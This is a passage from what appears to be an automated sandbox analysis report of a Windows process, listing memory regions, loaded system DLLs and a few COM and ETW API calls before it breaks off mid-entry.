0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1052 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1053 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1054 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1055 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1056 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1057 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1058 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1059 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1060 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1061 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1062 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1063 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1064 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1065 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1066 start_va = 0x7fe920a0000 end_va = 0x7fe920affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920a0000" filename = "" Region: id = 1067 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1068 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1069 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1070 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1071 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1072 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1073 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1074 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1075 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1076 start_va = 0x7fef9ec0000 end_va = 0x7fef9ee0fff monitored = 0 entry_point = 0x7fef9ed03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1077 start_va = 0x7fefa4f0000 end_va = 0x7fefa566fff monitored = 0 entry_point = 0x7fefa52e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1078 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1079 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1080 start_va = 0x7fefa250000 end_va = 0x7fefa25dfff monitored = 0 entry_point = 0x7fefa255500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1404 start_va = 0x6f0000 end_va = 0x6f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1405 start_va = 0x7fef9f90000 end_va = 0x7fef9fa2fff monitored = 0 entry_point = 0x7fef9f91d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1406 start_va = 0x7fefa290000 end_va = 0x7fefa362fff monitored = 0 entry_point = 0x7fefa308b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1407 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1702 start_va = 0x700000 end_va = 0x701fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 1713 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 1746 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1775 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1776 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1786 start_va = 0x1bea0000 end_va = 0x1c09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bea0000" filename = "" Region: id = 2336 start_va = 0x1a890000 end_va = 0x1a94ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2357 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2415 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2479 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2549 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2739 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2802 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2867 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3015 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3976 start_va = 0x1c0a0000 end_va = 0x1c49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c0a0000" filename = "" Region: id = 4045 start_va = 0x7fe920b0000 end_va = 0x7fe920bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920b0000" filename = "" Region: id = 4381 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 4605 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 4838 start_va = 0x710000 end_va = 0x715fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 4956 start_va = 0x1aeb0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 4957 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4958 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 4959 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4960 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 4985 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 4986 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 4987 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 4988 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 4989 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 5012 start_va = 0x7feed430000 end_va = 0x7feed773fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\59a4984a6afe6b209eaaa379927ab81d\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\59a4984a6afe6b209eaaa379927ab81d\\system.runtime.serialization.ni.dll") Region: id = 5014 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5015 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 5016 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 5017 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 5018 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 5019 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 5020 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5021 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 5022 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5023 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 5024 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 5025 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 5026 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 5049 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 5050 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 5051 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 5052 start_va = 0x1210000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 5053 start_va = 0x1220000 end_va = 0x122ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 5054 start_va = 0x1230000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 5055 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5056 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 5057 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5058 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 5059 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5060 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5061 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5062 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5063 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 5064 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5065 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5066 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 5067 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 5068 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 5069 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 5070 start_va = 0x1bce0000 end_va = 0x1bddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bce0000" filename = "" Region: id = 5071 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 5072 start_va = 0x7fefc4e0000 end_va = 0x7fefc60bfff monitored = 0 entry_point = 0x7fefc4e94bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5073 start_va = 0x710000 end_va = 0x711fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 5074 start_va = 0x7fefc660000 end_va = 0x7fefc853fff monitored = 0 entry_point = 0x7fefc7ec924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 5075 start_va = 0x720000 end_va = 0x720fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5076 start_va = 0x730000 end_va = 0x731fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 5077 start_va = 0x7fefa7c0000 end_va = 0x7fefa816fff monitored = 0 entry_point = 0x7fefa7c1118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 5078 start_va = 0x7fef35d0000 end_va = 0x7fef3840fff monitored = 0 entry_point = 0x7fef35d1028 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 5079 start_va = 0x720000 end_va = 0x721fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 5080 start_va = 0x7fef98c0000 end_va = 0x7fef98fafff monitored = 0 entry_point = 0x7fef98c22f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 5081 start_va = 0x7fefc260000 end_va = 0x7fefc474fff monitored = 0 entry_point = 0x7fefc4364b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 5082 start_va = 0x7fef7a30000 end_va = 0x7fef7a63fff monitored = 0 entry_point = 0x7fef7a31890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 5083 start_va = 0x7fef5aa0000 end_va = 0x7fef6656fff monitored = 0 entry_point = 0x7fef5aa1bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 5084 start_va = 0x7fef5a40000 end_va = 0x7fef5a93fff monitored = 0 entry_point = 0x7fef5a4104c region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 5085 start_va = 0x7feff270000 end_va = 0x7feff4c8fff monitored = 0 entry_point = 0x7feff271340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5086 start_va = 0x960000 end_va = 0x960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 5087 start_va = 0x970000 end_va = 0x971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 5088 start_va = 0x7fefbbb0000 end_va = 0x7fefbbdcfff monitored = 0 entry_point = 0x7fefbbb1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5089 start_va = 0x7feffad0000 end_va = 0x7feffb21fff monitored = 0 entry_point = 0x7feffad10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5090 start_va = 0x980000 end_va = 0x983fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5091 start_va = 0x990000 end_va = 0x9b7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000e.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db") Region: id = 5092 start_va = 0x9c0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 5093 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5094 start_va = 0x1b0a0000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 5095 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5096 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5099 start_va = 0x7fefe1e0000 end_va = 0x7fefe3b6fff monitored = 0 entry_point = 0x7fefe1e1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5100 start_va = 0x7fefddb0000 end_va = 0x7fefdde5fff monitored = 0 entry_point = 0x7fefddb1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5101 start_va = 0x7fefdc20000 end_va = 0x7fefdc39fff monitored = 0 entry_point = 0x7fefdc21558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5102 start_va = 0x980000 end_va = 0x98cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5105 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5106 start_va = 0x1bb60000 end_va = 0x1bc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 5107 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 5108 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5109 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5110 start_va = 0x1af80000 end_va = 0x1b080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 5111 start_va = 0xa50000 end_va = 0xa53fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5112 start_va = 0xa60000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 5146 start_va = 0xa90000 end_va = 0xa93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5147 start_va = 0x1ae10000 end_va = 0x1ae75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 5148 start_va = 0xba0000 end_va = 0xbadfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 5149 start_va = 0x7feffb30000 end_va = 0x7feffca7fff monitored = 0 entry_point = 0x7feffb310e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 5150 start_va = 0x7fefe060000 end_va = 0x7fefe189fff monitored = 0 entry_point = 0x7fefe0610d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5151 start_va = 0x7fefdc40000 end_va = 0x7fefddacfff monitored = 0 entry_point = 0x7fefdc410b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5152 start_va = 0x7fefdbd0000 end_va = 0x7fefdbdefff monitored = 0 entry_point = 0x7fefdbd1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5159 start_va = 0xbb0000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 5160 start_va = 0x4ab40000 end_va = 0x4ab4ffff monitored = 1 entry_point = 0x4ab490b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Thread: id = 16 os_tid = 0xe8c [0046.485] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0047.800] EtwEventRegister (in: ProviderId=0x2895870, EnableCallback=0x1b0a135c, CallbackContext=0x0, RegHandle=0x2895850 | out: RegHandle=0x2895850) returned 0x0 [0047.899] EtwEventRegister (in: ProviderId=0x2899ff8, EnableCallback=0x1b0a13ac, CallbackContext=0x0, RegHandle=0x2899fd8 | out: RegHandle=0x2899fd8) returned 0x0 [0048.018] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x524d00*=0xd8, lpdwindex=0x31e264 | out: lpdwindex=0x31e264) returned 0x0 [0048.128] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x524d00*=0xd8, lpdwindex=0x31e264 | out: lpdwindex=0x31e264) returned 0x0 [0049.443] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1134b10*=0x24, lpdwindex=0x31df54 | out: lpdwindex=0x31df54) returned 0x0 [0049.476] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x524d00*=0xd8, lpdwindex=0x31e264 | out: lpdwindex=0x31e264) returned 0x0 [0049.508] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1134b60*=0x248, lpdwindex=0x31df54 | out: lpdwindex=0x31df54) returned 0x0 [0049.526] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, 